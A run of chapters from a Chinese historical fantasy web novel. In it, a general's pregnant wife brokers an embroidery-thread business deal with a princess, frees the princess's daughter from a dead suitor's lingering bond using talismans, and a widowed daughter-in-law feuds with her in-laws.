虞声笙提供了各种精致昂贵的绣线。 他们很快配出了金粉那一款的。 其中大哥还有些遗憾,说夫人拿来的绣线还不够好,若是足够好,配出来的金粉色会似流云一般游动,宛若捧着一方款款云霞在手中,如梦如幻。 虞声笙也没见过这样的绣线,一时间无言以对。 好在这样一款金粉绣线在玉厚郡主这里已经过关了。 虞声笙笑着提起这事,玉厚郡主也打开了话匣子:“我方才还有些不信,你这么一说我反倒信了八九分,这绣线确实差了点,要用最娇嫩的春蚕吐的丝制成的丝线捻制而成,反正难得的很呢。” “是我没见过什么世面了,竟还有这样稀奇的宝贝?不知有没有这个眼福,日后托郡主的荣光,也叫我瞧上一眼。” 能重启金粉绣线的生意,郡主娘娘精神一振,看虞声笙也格外顺眼,忙笑着应道:“这有什么难的?” 双方说说笑笑一阵子,虞声笙准备起身告辞。 待金粉绣线正式售卖,她便能拿到三万两银子。 玉厚郡主一阵欲言又止,还是叫住了她:“上回是我女儿无礼,叫夫人看笑话了,还请夫人别往心里去。” “郡主哪里话。”她温温笑着,也不点破。 “我这女儿……一直被捧在手心里长大,说是掌上明珠一点也不为过,谁让我们夫妻宠她爱她,她自小又在宫中备受娇惯,自然就养成了这么个性子。” 玉厚郡主隐隐有些后悔。 但如今女儿已经及笄,再说这些也晚了。 “不知县主如今可好些了?”虞声笙关切问。 玉厚郡主摇摇头,面色凝重。 犹豫半晌,她对虞声笙道,“还请夫人来内宅一叙。” 离了外头会客的花厅,跟着玉厚郡主进了府邸内宅,这儿又是一片开阔敞亮的园子,小桥流水、假山奇石、亭台楼阁、奇花异草……几乎应有尽有。 玉厚郡主邀请虞声笙坐下,又屏退众人,才缓缓开口。 “既然夫人能拿出诚心来,我也不愿隐瞒,我却有一事相求。上回夫人给的平安符倒有些效用,我让宜德佩戴在身上,那两日倒是有好好吃饭睡觉,人也恢复了一些,可就在前日……她发疯似的将平安符从荷包里拿出来撕毁,说什么都不肯戴了,还说……这是让她与谢郎不能见面的坏东西。” “谢郎?”虞声笙敏锐捕捉到了关键词。 玉厚郡主一阵无奈,强忍着点点头:“是,说来不怕你笑话,我这不中用的女儿也不知看上了哪家儿郎,非惦记着,我让她说出来,但凡门第清白,儿郎忠厚上进,我多赔些嫁妆过去又算得了什么?只要我儿欢喜便可。” “可她偏偏……咬死了不肯说。” 这就无解了。 父母都已经让步到这一步。 在虞声笙看来,宜德县主这样出身的尊贵千金,其实与一般人家的女儿有天壤之别,她在婚事上可以选择的余地很大,也不怕婚后过得不好,毕竟有父母给她撑腰。 单凭一个玉厚郡主,就算养那男方一家子也是绰绰有余。 宜德县主却不肯说出这人是谁,可让父母焦心又着急。 虞声笙寻思片刻:“可是那一日县主进香遇险,救下她的那人?” “我也这么猜了,可怎么查都查不到,这孩子偏又嘴硬不肯说。” 难怪玉厚郡主脸色这么难看了。 谁摊上这么个女儿能开心的? 虞声笙腹诽道:这要是她女儿,肯定要被狠狠打上一顿板子,然后日日派人给她喂饭,不吃就硬塞,反了天了,为了个男人这么要死要活的,还有没有把父母放在眼里? 如此暴躁的想法只能藏在心里。 她面上越发笑得理解温柔:“能否请一请县主娘娘的生辰八字?” 玉厚郡主眼前一亮,正在犹豫之时,一婆子匆匆赶来回话:“郡主,不好了,小姐她又梦魇了!哭着闹着呢,您赶紧去看看吧。” 玉厚郡主哪敢迟疑忙不迭地跟了出去,一时都顾不上虞声笙。 进了女儿卧房,却见宜德披头散发地趴在榻上痛哭,一旁的丫鬟婆子一个个劝着压着,她就是不听,口中声声唤着谢郎。 守在她身边的,正是宜德县主的奶母。 也是与她最亲近的婆子了。 见状,奶母心疼不已,忙催促:“好姑娘,你就说了吧,有咱们老爷和郡主在,你想嫁给谁还不是简简单单的事情,何苦来的,这样折磨自己,你不顾着自己,也要看看这段时日老爷和郡主有多担心,真是日夜不得安眠呀!” 宜德却只是流泪,还是念着她的谢郎。 见状,玉厚郡主太阳穴重重一抽。 压抑多日的愤怒憋屈倾泻而出。 “都松手,让她闹!”她大声呵斥,“问你你不说,偏要在这儿折腾自家人,随你怎么闹,大不了闹过了,我就当没你这个女儿!” 颤抖的声音划过半空,众奴仆不敢抬眼,只得乖乖听命。 “娘……”宜德哇的一声哭了出来。 第203章一成分利 此刻,内宅中。 虞声笙还在慢条斯理地吃茶。 虽说被请到了玉厚郡主的房中,但该有的分寸她还是有的。 就比如方才这件事,她就不会跟着玉厚郡主一块去看热闹。 哪怕当时人家郡主不会留意到这些细节,但静下心来一想,多半会觉得虞声笙不够稳重。 知道太多也不好,而且是用这样的方式知晓的,那多让人家的面子挂不住。 今瑶细细听了一会儿,小声耳语:“夫人,那头闹得好像挺凶,不断有人在哭呢。” 金猫儿也听见了,秀气的眉尖微蹙。 “稍安勿躁,吃些果子,郡主府上的果子可是外头买不到的,今儿算你们俩有口福。”虞声笙半点不着急,又吃又拿的,很是自在。 见自家主子这般淡定,丫鬟也安静了下来。 足足等了小半个时辰,玉厚郡主才姗姗归来。 她脸上明显重新施了脂粉。 “叫将军夫人久候了。” “不碍事,县主没事吧?” “没什么,只是……哎!”玉厚郡主难以启齿,最终还是问虞声笙要了几张之前那样的平安符。 虞声笙爽快给了。 但她却叮嘱:“这是治标不治本的法子,为了县主着想,还请郡主早日决断。” 一听这话,玉厚郡主脸色凝重,张了张口,什么都说不出来。 送走了虞声笙,玉厚郡主才松懈下来。 刚刚府医给宜德施针,也灌了安神的汤药,这会子人正睡着,才换来他们片刻的安静。 奶母嬷嬷抹着泪:“郡主,咱们这可怎么好……难道眼睁睁瞧着小姐这般耗下去么?也不知这谢郎到底是什么人,竟这样祸害咱们府里的姑娘!” “查,继续查!我就不信了,这世上真就有这种怪力乱神的事情么?”玉厚郡主眉眼间覆上了一层阴霾。 几日后,京中的贵女们惊讶地发现,消失数年的金粉绣线又一次出现了。 还是锦绣布庄,还是那一枚枚精致漂亮的璎珞。 很快,客人们蜂拥而至,抢购一空。 才刚重新售卖,货源紧张,有些晚了一步的太太奶奶扑了个空,心有不甘忙又去问自家老爷少爷,想暗中走玉厚郡主的关系人脉,能早日拿到一手的刺绣针线。 一时间,京中热闹。 锦绣布庄与金粉绣线一齐成为众人茶余饭后的谈资。 玉厚郡主也大赚一笔。 虞声笙拿着三万两银票到丈夫跟前献宝:“看见没有,你媳妇我赚的。” 闻昊渊憨直,完全没意识到媳妇在跟自己较劲,还笑着赞同:“我家夫人就是厉害。” 虞声笙:…… 一拳像打在了棉花上,怪没劲的。 “这三万两就算在你嫁妆里吧。”男人又这么说。 她的心瞬间火热了不少。 强行忍住,她眨眨眼睛试探:“干嘛非要算在我嫁妆里,放在账房中大家一起用不好么?” “大男人养家,天经地义,怎能用媳妇的钱?传出去不是让人笑话死了。” 虞声笙高兴极了,吧唧在他脸颊上亲了两口:“放在账房里,我的就是你的,你的也是我的。” 闻昊渊脸红了一半,忙搂着妻子:“你怀着孕呢,身子重,要亲也是我来。” 三万两银子很快入了账房。 但没过几日,萱妈妈有了新发现。 原先安放虞声笙嫁妆的库房里多了好些东西。 她去细数了一下,整整多了两三个箱笼。 打开一瞧,满眼都是金珠翠玉,几乎闪瞎双眼,另外一只箱笼里放着的,是一锭锭的黄金,金灿灿的。 光是这些算起来,就超过了三万两之多。 府里除了闻昊渊,没人会这样做。 听了萱妈妈的回话,虞声笙心头暖暖的,明白这家伙是在用自己的方式实践男人养家的诺言。 “放着吧。”她笑道,“都是咱们自己的东西。” 萱妈妈也替自家姑娘开心。 姑爷这般疼虞声笙是好事,她看在眼里,喜上眉梢:“好,我这就去让人在嫁妆单子上添上,绝错不了。” 捧着一盏燕窝细细吃着,虞声笙只觉得日子富足美满,简直不能太好。 结果当天晚上,玉厚郡主派人来请。 那人来得仓皇匆忙,结结巴巴说明来意,被闻昊渊不客气地斥责道:“这会子都什么时辰了,哪有让人家大肚婆来回奔波的?” 虞声笙按住了丈夫:“郡主不是那种不懂礼数的人,定然是他们府上出了什么大事。” 那小厮眼泪都下来了,连连磕头:“将军夫人所言极是,是我们家县主不好了,郡主实在是束手无策,万不得已才派小的来请。” 玉厚郡主也不是空手来的。 一出手便是锦绣布庄一成的分利。 这可是真金白银。 只要虞声笙签下名字,按了手印,往后锦绣布庄卖的任意一件绣品、一匹布料或是一套成衣,都有一成的分利是她的。 “别忙,我换身衣裳就来。”虞声笙麻利起身,挽着丈夫的手,“你随我一道去,好不好?” 原本有些不快的男人面色松缓:“好。” 漏夜出行,还挺着大肚子,自然处处不方便。 但马车里铺就着柔软的垫子,四周都有固定的木质围靠,一路虽疾驰了些,车辆也稳得很,半点没让她颠簸到。 很快,虞声笙便抵达了郡主府。 早有婆子候着领路。 进门前,虞声笙让闻昊渊在外头等自己,她提着裙摆,领着今瑶与金猫儿迈入门槛。 再次来到宜德县主的闺房,一眼见到的景象却与上一次大不一样。 宜德县主软绵绵地躺在榻上,两眼发直瞪着半空,面色如蜡,苍白得不像是个活人,身边忙碌着的是两位府医,可很显然,他们也没法子。 无论脉象还是呼吸,宜德县主都很正常。 不正常的是她的面色和反应。 见虞声笙来了,玉厚郡主忙擦了擦眼泪:“你帮忙看看,宜德这是怎么了?” 虞声笙上前先问:“上次给你的平安符呢?” 一大丫鬟忙道:“我悄悄塞在荷包里,让我家县主贴身戴着的。” 虞声笙翻出荷包,取出平安符。 只见叠成三角状的平安符在取出来的那一刻,一个黑点瞬间从中心处弥漫,很快在虞声笙的指间化为灰烬。 这一幕来得太过突然,吓坏了一屋子人。 玉厚郡主捂着心口,不敢相信眼前的一切。 “难不成、难不成……当真是有什么鬼神之说?”她抖着声音。 “鬼神真要动手,宜德县主怕撑不了这么久,还是有人在故意使坏。”虞声笙不慌不忙。 她吩咐金猫儿将那一串玉佛珠取来,戴在宜德的胸口。 又问玉厚郡主要了宜德的生辰八字,以朱砂写在黄纸上,又不知在旁写了什么叫人看不懂的鬼画符,随后让丫鬟拿到门外朝西七丈外烧掉。 做完这一切,床上刚刚还僵直的宜德县主突然一声长叹,合上了眼睛。 片刻后,像是回过神来,她又醒了,盯着玉厚郡主茫然道:“娘,我这是……怎么了?” 玉厚郡主一下子哭了出来。 “宜德县主,你赶紧想想,那一日去进香有没有捡到什么奇怪的东西。”虞声笙打断了母女俩要相拥哭泣的冲动,冷冷问道。 第204章姻缘劫 “奇怪的东西?”宜德县主努力回忆,却想不起来,“我不曾捡过什么东西啊……” 她堂堂尊贵县主,要什么有什么,还用得着捡? “不一定是要捡回府的,只要你过了手的,都算。”虞声笙提醒。 奶母嬷嬷忙道:“有的有的。” “李妈妈别乱说,我何曾捡过?”宜德蹙眉。 “姑娘,你细想想,那一日咱们马车到了山脚下时曾起了一阵怪风,当时吹得马车帘笼卷在一块,还有一片奇怪的叶子嵌在上头,长得奇形怪状,颜色还不好,当时丫鬟们拿不下来,老奴也没法子,姑娘你不耐烦了,伸手一拾,那叶子便掉了!” “当时姑娘你还说觉着指间有些毛毛的疼,却不见伤痕,也没见流血的,你还记得吗?” 李妈妈这番话立马唤起了其他人的回忆。 同行的丫鬟们纷纷点头:“是有这么回事。” 只是一阵风一片叶来得太过寻常,后续也没什么古怪,大家也就没将这一茬放在心上。 宜德县主脸色微变,轻轻颔首:“确实,妈妈不说,我都记不起来了。” 虞声笙明白了八九分:“那就对了。” 她写了张单子交给李妈妈,让她即刻买来就水熬煮,喂宜德县主喝下。 “要快。”她吩咐道。 那单子上的几样东西瞧着都不起眼。 什么桃树枝,槐花叶之类的,更像是无良医者胡乱开的方子。 但虞声笙方才出手的那几下,就让宜德县主恢复神志,确实叫人摸不清底细,见玉厚郡主都不曾阻拦,其余的人自然也不会开口。 很快,一盏煎好的水给宜德县主服下。 不消一刻,宜德县主直嚷嚷着肚子疼,忙又去了一趟净房。 再出来时,人已经精神了许多,原本苍白的面色还恢复了些气血。 见状玉厚郡主才算稍稍安心。 虞声笙又问了那谢郎的模样,宜德县主这会子知道了厉害,忙红着脸一一说明。 “我其实也拿不准这人的模样,只晓得在半梦半醒间他会来与我相会。”说到这儿,少女忍不住羞得耳根滚烫,“对了,他爱穿一身灰蓝长袍,手背上似乎还有一道疤,就在这儿。” 宜德县主指着自己左手虎口处,显然对这一特征很是记忆犹新。 虞声笙又给了她几张平安符,让她随身带着。 做完这一切,便要告辞离去。 事情还没了结,玉厚郡主怎愿放人,她忙不迭地挽留。 “郡主莫慌,今晚令千金无恙,安心睡吧;等七日后再来寻我,比今日提前三个时辰,切记。” 虞声笙想起什么似的,又补了句,“方才县主所言之人,你可有印象?” 玉厚郡主摇摇头。 她是一点痕迹都捕捉不到,什么虎口带疤的男人,又爱穿着灰蓝的袍子,记忆里可没有半点这样的人存在。 “今日怎么不见府上老爷?”虞声笙像是问起了一桩毫不相干的事。 “他近日公务繁忙,已经宿在办差的府衙好几日了。” “那就请郡主也去问一问你家老爷,说不定有新的收获。” 留下这句,她一转头,看见闻昊渊已经黑了的半张脸,顿时哭笑不得,忙不再言语,跟着丈夫回府。 路上,闻昊渊好奇问了两句。 虞声笙笑着摇头:“姻缘重叠,红鸾星异动,并不是什么好事,大约是宜德县主父辈留下的孽债,如今报应到儿女身上罢了。” “竟与婚缘有关?”他惊讶。 “缘法二字,本就玄妙,虽不是鬼神之说,但宁可信其有,做人做事,还是要对得起自己的连心才是。” 郡主府的风波很快传到了他们家老爷的耳朵里。 听闻事关宝贝女儿,他也顾不上公务,紧赶慢赶地回了府。 玉厚郡主的丈夫名叫段佑文。 当年赫赫有名的探花郎。 生得肤白文静,可没少惹得京中贵女芳心乱动。 后与玉厚郡主成婚,如今在光禄寺任职。 等丈夫回来,玉厚郡主就与他说了这桩奇事,还未听完,段佑文脸色微变,神情有些慌乱。 到底夫妻多年,玉厚郡主一眼就看出不对。 “怎么,你竟真的有什么事儿是我不知道的?你到底瞒着什么了,女儿如今都这样了,你还想瞒着不说么?!”她急了,火冒三丈。 “你别急,我只是拿不定主意……”段佑文忙安抚,“你说虎口带疤,又爱穿灰蓝的袍子,那我曾经认识的一人还真是如此……只、只是,那人早就病故了呀。” 一语落地,夫妻二人齐刷刷沉默了。 大半夜的,一股寒意从彼此背后升起,一直爬到了头皮。 玉厚郡主只觉得浑身毛毛的。 段佑文也没好到哪去。 后半夜,夫妻俩都没怎么睡。 等天亮后,又去看了女儿,见宜德比前几日有了精神,人也不总是念叨着什么谢郎了,二人才稍稍松了口气。 玉厚郡主见时辰差不多了,便领着丈夫拜访威武将军府。 不愧是郡主,见多识广,她算好了时辰,他们的马车刚停在府门外,虞声笙才用罢了早饭,正在漱口净手。 听了婆子的通传,她十指淋淋地拿起热帕子擦了擦,笑道:“速速有请。” 不一会儿,虞声笙便在花厅见到了夫妇二人。 有了昨夜的惊心动魄,玉厚郡主变得爽快许多,当即就与她说了丈夫知晓的事情。 “已身故才是对的,哪有活人夜夜入梦的,这分明是寿数已到,但缘分未灭,这才有了这么一桩孽缘。”虞声笙早就算到了。 玉厚郡主忍不住牙齿打颤:“那、那是鬼魂作祟?” “倒也不是。”她弯唇浅笑,安抚道,“只是缘分未尽,一点点残留的不甘心罢了。” 她又看向段佑文,“敢问段大人,此人原先是不是与你这一脉有过什么婚缘约定?” 段佑文奇了:“确实有。” “那就对了。”虞声笙颔首,“可以让这缘法了却,还令千金一个清静,只是——” 她黑漆漆的眸子盯紧了二人,“若有什么隐瞒之事,还请你们现在如实告知,如果有什么隐瞒,最后导致不可控的结局,你们俩可不要怨我。” 玉厚郡主忙道:“没有了。” 却听身边丈夫久久不开口,她侧目一看,心顿时凉了一半。 段佑文没说话,但神色复杂,似有难言之隐。 “你说话呀!”玉厚郡主催促道。 犹豫半晌,段佑文才开口:“……他离世的消息我是知晓的,原先他有一部分家产放在我这儿打点,他死后,故土一脉的族人并不知晓这一部分的家产,所以……” “所以我就将这部分家产进行了变卖与转当,最后成为了如今的锦绣布庄。” 虞声笙也没想到还有这档子事,惊得微微挑眉。 “你怎么从未提起过?!”玉厚郡主愤怒质问。 “我原以为不打紧的,横竖这些年都是这样过来的,我也没有亏待了他……” 眼瞅着夫妻二人快要吵起来,虞声笙不慌不忙道:“现在不是吵架的时候吧?” 二人腾地安静。 玉厚郡主收回埋怨的一眼,强忍怒气:“还请夫人帮忙出个主意。” 第205章凡事发生,皆有利于己 “这事办也不难,只是你们亏欠在先,又失言在后,总要付出一点什么吧?”虞声笙浅笑,看向段佑文的目光已经没有一开始的尊敬礼貌。 “对对,你说得对,那该怎么做呢?” 虞声笙给出了个主意。 让锦绣布庄拿出过往分利的收益,给那人的故土修缮祠堂,并亲自过去拜谢。 她还特别强调了,要带着宜德县主一起去。 并请家族耆老为证,当着人家的牌位,将这段婚缘了断。 为保万无一失,她还将种种注意事项写在了黄纸上,又画了平安符,给他们贴身带着。 此事宜早不宜迟,玉厚郡主也懒得跟丈夫吵架,得了解决方案,翌日便打点行装出门了。 好在这姓谢的人老家并不远。 距离京城也不过六七十里地,来去便宜。 去的时候如追风,把事情办得隆重周到后,夫妻二人总算松了口气。 玉厚郡主到底更明白严重性,不但出银子修缮了人家的祠堂,还供了长明灯,请了当地有名望的人,又给这早逝的谢郎配了个阴魂。 对方也是还未出阁就香消玉殒的姑娘,算起来刚好。 她生怕此举不妥,还命人快马加鞭送信回京,询问虞声笙的意思。 虞声笙回了个可,她便欢欢喜喜放手去做。 后来闻昊渊问妻子:“你也不怕这样搞出问题来?” “不怕。”虞声笙爽快得很,“怪力乱神这种事,我不信就没有,他敢来找我那就来好了,我等着。” 要是玉浮道人在这里,听见这番话,定会直摇头。 ——从小到大,他这个徒弟一直都是这么个脾气,对她有利的,就信;对她无伤大雅的,就不信;主打一个蔑视一切神佛道场!偏偏还拿她一点办法都没有。 等玉厚郡主夫妻二人返京,又特地等了几日,见女儿越来越精神,也不再念叨什么谢郎,他们悬着的一颗心总算放了下来。 玉厚郡主一放心,就开始清算丈夫的言行。 “这么大的事情你居然不告诉我?!你知不知道,要不是有人家将军夫人在,女儿这会子怕是连命都没了!!” “我、我哪里知晓世上竟还真的有这档子事,再说了,当初我与他说好的是若彼此日后成家立业,有了儿女,再可定一门娃娃亲;我可没说过让自己的女儿嫁给他呀,这都差了多少岁了?” 那姓谢的老友去得早,离世时还未成家。 段佑文是在贪图人家产业方面做得不够厚道,可婚缘一事,他确实冤枉了。 “还有,当初你跟我说那些都是你祖产,如今也是旁人家的!” 玉厚郡主气得胸口起伏不定,“这份产业你也敢贪?你好大的胆子呀!” 段佑文无言以对,只得不断拱手求情,还说自己以后会常去烧香拜佛,多做善事,多多照顾那姓谢的亲眷们。 事已至此,玉厚郡主也没法子,只好叹了口气,按下不提。 锦绣布庄的生意越做越大,早就成了她开源的支柱之一。 这些年她苦心经营,踏踏实实,可不想就这样拱手让人,她可舍不得。 数日后的一夜,虞声笙正睡得香。 梦中见到一灰袍男子冲着她儒雅一拜,与她道了声多谢。 她还未来得及开口,那男子已经化成一道白光直冲着她的肚子扑来。 顷刻间,她醒了。 躺在床上,眨巴着眼睛一直到天亮。 闻昊渊早起见妻子神色不太对,忙问原由。 “没什么,做了个不太好的胎梦。”虞声笙恹恹的。 任凭丈夫怎么问,她都不再开口,说等瓜熟蒂落的那一日再告诉他。 ——她是想要个闺女的,可前来投胎的竟然是那姓谢的…… 哪怕已经算到这件事与自己缘法颇深,她也没想到会是这样一个深法。 有点无语,整个人都不好了。 待玉厚郡主又一次备着厚礼登门,虞声笙便不跟她周旋,直言不讳地建议她多多施粥,广开善堂,帮扶那些穷困的人家,累积善缘。 玉厚郡主晓得厉害,点头如捣蒜,忙不迭地答应了。 生怕虞声笙会反悔似的,她又将锦绣布庄多了个新东家的事情大肆宣扬,将虞声笙与自己绑在了一条船上。 京中贵妇圈内很快因此激起一片议论纷纷。 谁也没想到,看似默默无闻的虞四,竟然不声不响地搭上了玉厚郡主这艘大船。 那可是锦绣布庄呀。 那可是玉厚郡主! 正儿八经的皇亲国戚。 一时间,虞声笙炙手可热了起来,多少登门求见的拜帖雪花似的送到她跟前。 她都以孕期不便,一一推了。 没见到人不要紧,不妨碍她们给威武将军府送礼。 这不是将军夫人怀孕了嘛,很多稀罕补品、名贵布料,流水似的送入府中。 虞声笙一开始都不想收。 可整日迎来送往,门房都累倒了一拨人。 而且回礼也需要先收下,再登账,再选一份差不多的回礼给人家,委婉地表示你我不熟,不必多礼。 这一套流程下来,光是每日看这些账本就让虞声笙头疼了。 索性全都收下,再登记在册,日后人家府上有什么红白喜事,她再还礼就成。 这主意还是闻昊渊给出的。 糙汉的想法简单粗暴,却很有实效。 他说:“何必这么麻烦,京中高门贵府那么多,要是个个都这般计较,那日子还过不过了?” 虞声笙觉得他说得很有道理,立马照着实施。 接下来的日子果真轻简了许多。 重又回归舒坦的将军夫人恨不得日日都泡在温暖的太阳下,扒着手指数着临盆之日的来临。 经此一事,虞声笙能掐会算的本事算是深入人心。 只是眼下不便,不知多少太太奶奶暗中盯着,就等着她这头清静了,好登门拜访。 这么多人里头,唯有一家与众不同。 便是石府。 自从石芠身故,赵夫人就像是老了十来岁,鬓边花白了一片。 儿子没了,府里的事情却消停不了。 石老爷本就是半个甩手掌柜,儿子出事后,他便越发不愿回府,整日流连酒肆勾栏,好像只有沉溺于温柔乡才能暂时忘却丧子之痛。 他是找到了情绪发泄的渠道,可赵夫人却不能一样。 她白天装作若无其事,夜夜却以泪洗面。 成了寡妇的徐心敏更是怄气。 她哭不出来,更多的是怨丈夫花心风流,惹出这些麻烦,还把自己一条命送了,连累她多了个克夫的名声。 两府就石芠一死打官司,闹得沸沸扬扬,甚至一度闹到了御前。 皇帝听闻后,直截了当给了一句话,杀人偿命,公事公办。 最终,那奉命混战的小厮护院倒了大霉,成了这桩风流韵事的替罪羊。 而那位身怀六甲的香姨娘又被人家接了回去。 这一来一往,让石府彻底沦为了京中笑柄。 开门放人的,不是别人,正是徐心敏。 得知消息的赵夫人再阻拦也已经晚了。 人家香姨娘已经乘着马车走出去两条街了。 悲愤交加的赵夫人忍无可忍,冲到徐心敏房中,当着众丫鬟婆子的面狠狠给了儿媳妇两巴掌,尖声呵斥:“你反了天了!!” 第206章闹崩 徐心敏半张脸火辣辣的疼。 还未回过神来,赵夫人指着她的鼻尖又骂开了:“要不是讨你这个扫把星,我儿也不会年纪轻轻就没了!该是我石家倒霉,摊上你这么个丧门女!克死我儿!” 她一阵捶胸顿足,哭得格外猛烈。 徐心敏也忍不了,不顾丫鬟婆子护在身前,她冷冷嘲弄:“婆母与其怪我,不如怪你自己,是你将儿子养成这样,要是早知他这么个样子,当初说什么我都不会嫁进来;当初他玩弄丫鬟,闹出人命,这或许就是天理昭昭,人家来索命来了!这叫一命换一命,你怨我作甚?我还没怪你生了不养,倒坏我清白一生!” “你、你——” 赵夫人被气得两眼一翻,晕了过去。 徐心敏擦了擦眼角,根本不管婆母,吩咐左右:“这个家我是待不下去了,收拾东西,咱们回去。” 石府的风波根本瞒不住。 太书令府上早有耳闻。 女儿嫁过去才多久就做了寡妇,给谁心里能痛快? 女婿还是因为这种事死的,半点光彩谈不上,只有丢人现眼。 好歹是自己的亲生女儿,徐大太太也没有阻拦女儿回娘家。 到了母亲跟前,徐心敏的委屈再也克制不住,泪水簌簌,不一会儿便哭湿了两条帕子,两只眼睛红肿如核桃。 “我当初已经知晓不对了,不愿嫁,是母亲非要押着我上了花轿,如今可好……女儿才这点年纪,往后要怎么办?母亲若不为我想个法子,我还不如一死了之。” 徐心敏的哭诉令徐大太太头疼不已。 不可能真不管的。 但要管,又不知从何入手。 听女儿这番抱怨之言,徐大太太又是憋屈又是生气,脱口而出:“要不是你当初非他不嫁,闹得天翻地覆、人仰马翻的,我会押着你进花轿么?别出了事全是旁人的错,就你一人干干净净、清清白白!” 徐心敏被噎得不轻,当即尴尬地擦了擦眼角,一言不发。 如今她与婆家闹成这样,想要再回去就难了。 能依靠的,唯有娘家。 而在娘家,想要站稳脚跟,就得哄好母亲。 这也是徐心敏与姐姐争风时得出来的经验之谈。 见母亲真的动怒了,她迟疑片刻,上前挽着徐大太太的胳膊一个劲地撒娇:“娘这是怨我了……是女儿不好,当初太过天真不懂事,还以为那石芠是个足以托付的良人,谁知嫁过去便是这样。” 她边说边观察着母亲的神色,最后咚的一下跪在地,期期艾艾地哭着:“母亲若不帮我,那女儿、女儿真的是没法活了……” 到底是自己亲生的,又是被娇宠着长大的,徐大太太如何不心疼? 见徐心敏这般哭泣,整个人憔悴又可怜,高高红肿的脸颊瞧着越发惹人心疼,徐大太太的心顿时软了一半。 “好了,别哭了,你先起来吧,你这事儿……还需从长计议。” 徐心敏是寡妇不假,但到底是石府的媳妇。 若夫家不发话,娘家就算再强硬也没辙。 她在娘家住了约莫三五日,这一天等到徐诗敏回来。 石芠之死的消息早就传得满京城都是,徐诗敏一见妹妹,也与她争不起来了。 徐大太太拉着女儿商量。 “我怕石府没那么轻易松口。”徐诗敏快人快语,“女儿打听过了,她们婆媳闹崩是因为妹妹放走了那香姨娘,这等于是打了人家石府一耳光,换成您是婆母,您能咽的下这口气么?” 徐大太太心虚地垂眸。 换一个角度想问题,确实能得到不一样的答案。 见状,徐诗敏又道:“既然母亲想让妹妹重回娘家,那石府那头的态度就尤其重要,虽说如今流言漫天,可也不能拿到台面上来说,双方都是有头有脸的人家,自然是要一团和气的,即便让妹妹回娘家,也要给足了石府颜面与好处,这事儿方能办得稳妥。” “如今闹得这样僵,可行么?我怕那石府的赵夫人不愿松口……” 徐大太太的担心说在了点子上。 “妹妹的嫁妆不是还留在石府么,实在不成,就留下一半来,怎么也能让那赵夫人松口吧?就算赵夫人不松口,石府不是还有老爷在么?” 徐诗敏是有备而来,外头的事情查得清清楚楚,“我听闻,石芠丧命后,石老爷日日都在外寻欢作乐,光是去赌坊一日便能花销掉不下一千大钱,石府是富贵官宦人家,可也经不住这样开销吧?” 徐大太太眼前一亮,连连拍手:“你这话有理,蛇打七寸,既然彼此都有软肋,不妨敞开天窗说亮话。” “母亲慧眼。”徐诗敏松了口气。 母女二人有商有量,几乎说得差不多了。 可到了徐心敏处又遇到了阻力。 听到说自己的嫁妆只能带回一半,自觉备受委屈的新晋俏寡妇很不乐意,当场就与母亲姐姐吵得不可开交。 脸上的泪糊了脂粉,露出了尚未痊愈的脸颊,此刻的徐心敏看起来格外狼狈凶悍,瞪起的眼睛冒着火光,直冲着徐诗敏而去。 “我的好姐姐,你可真会为我着想,你上下嘴皮子这么一碰,我就要割舍掉一半的嫁妆,凭什么啊?你就是见不得我过得好罢了!出的什么劳什子的鬼主意,亏你也算是我亲姐!” 徐诗敏气了个仰倒。 多亏了盈袖反应及时,稳稳托住了自家主子的半边身子,一只手不断地替徐诗敏顺着后背。 盈袖正色道:“姑奶奶,奴婢知晓您心情不好,有脾气是应该的,可我们奶奶如今正怀着身孕呢,为着姑奶奶的事情日夜操心不说,还巴巴地回娘家来出谋划策,姑奶奶就算不念着咱们奶奶的好,也该想想咱们奶奶肚子里怀着的是镇国将军府的骨肉,若有个闪失,岂不是乱上加乱?” “你个奴婢也敢跟我呛声?” “住口!”徐大太太呵斥女儿,“盈袖说得很对,你少在这儿胡搅蛮缠,别气坏了你姐姐,惊了她的胎!” 徐心敏:…… 徐大太太强忍着一阵阵发疼的脑仁,深吸一口气:“割舍一半嫁妆便是,我徐府这点损失还出得起,这事儿不能拖,越快了结越好!” 见母亲都有了决断,徐心敏张口结舌,却说不出一个囫囵句子。 目光落在姐姐那隆起的腹部,她一阵不甘心地转过脸,飞快地用帕子擦了擦。 徐大太太很快与丈夫商量一番,这事就这么定了。 有了计策,接下来便是相谈。 徐大太太想得很简单,原以为自家让了这么大一步,石府应该会顺着台阶下来,谁知赵夫人直接拒绝,话也说得相当难听,说什么你们徐府能拿银子换女儿的命,我家却不能!要徐心敏回娘家,门都没有! 就是这辈子相看两厌,她也得在石府当一辈子的寡妇。 这话一出,可算把她们之前的如意算盘砸得稀碎。 这事儿就这么僵持住了。 隔了两日,赵夫人一身朴素地登门,求见黎阳夫人。 虞声笙不好拦着,听取了黎阳夫人的意思,便让门房放人进来。 到了黎阳夫人跟前,赵夫人哭成了泪人。 第207章财神爷 先是絮絮叨叨说了好些自己过往不懂事的自责,紧接着又拉着黎阳夫人讲了一箩筐二人渊源亲眷的过往,直听得黎阳夫人半张脸都僵了,耳根发麻,她还没有停下来的意思。 黎阳夫人缓缓来了句:“我丈夫已故,老家那头的人叫我寒了心,原打算着不再管夫家任何事的,你这样哭,总是想我动了恻隐之心,既如此我问你了,你就该答,谁也没有这样的闲工夫一坐就是半日听你哭诉。” 赵夫人一声哀怨戛然而止。 泪水盈眶,好一会才用帕子压了下去。 她吸了吸鼻子:“你说的也是,是我一时伤心,疏忽了。” “你府上与那仇敌家里的事情我不便开口,我又不是青天大老爷,断不了你家这桩案子,但……你不肯放手叫那徐家女回娘家,在我看来便是大大错了。” 黎阳夫人对赵夫人观感一般。 今日应她所请,不过是想看看她说什么,更不愿叫她在府门外哭哭啼啼的,再给闻昊渊小两口添麻烦。 所以黎阳夫人说话很直接。 这份直白却听得赵夫人觉得甚为刺耳。 她眉心微不可察地蹙了蹙:“你这是怪我喽?” 黎阳夫人轻叹:“我怪你作甚,这事横竖与我无关,你细想想,那徐家是什么人,你那儿媳妇又是家中备受宠爱的娇娇女,如今叫人家年纪轻轻守了寡,再嫁也是天经地义的事情,你非要忍不下这口气,跟你的亲家闹得脸红脖子粗的,一腔火气完全撒错了地方。” “那徐府可是太书令老爷的府上,这在圣上跟前都是能说得上话的,如今你们争着闹着要一个公正,不愿叫你儿子枉死,这亲家本该是你们的助力才是。” 一番话,说得赵夫人一阵错愕。 冷静下来,又不得不承认对方说得很对。 亲家本就是一条船上的人。 他们是这个世上最没有亲缘,却又是最亲近的人才对。 徐心敏做了寡妇,首当其冲受害。 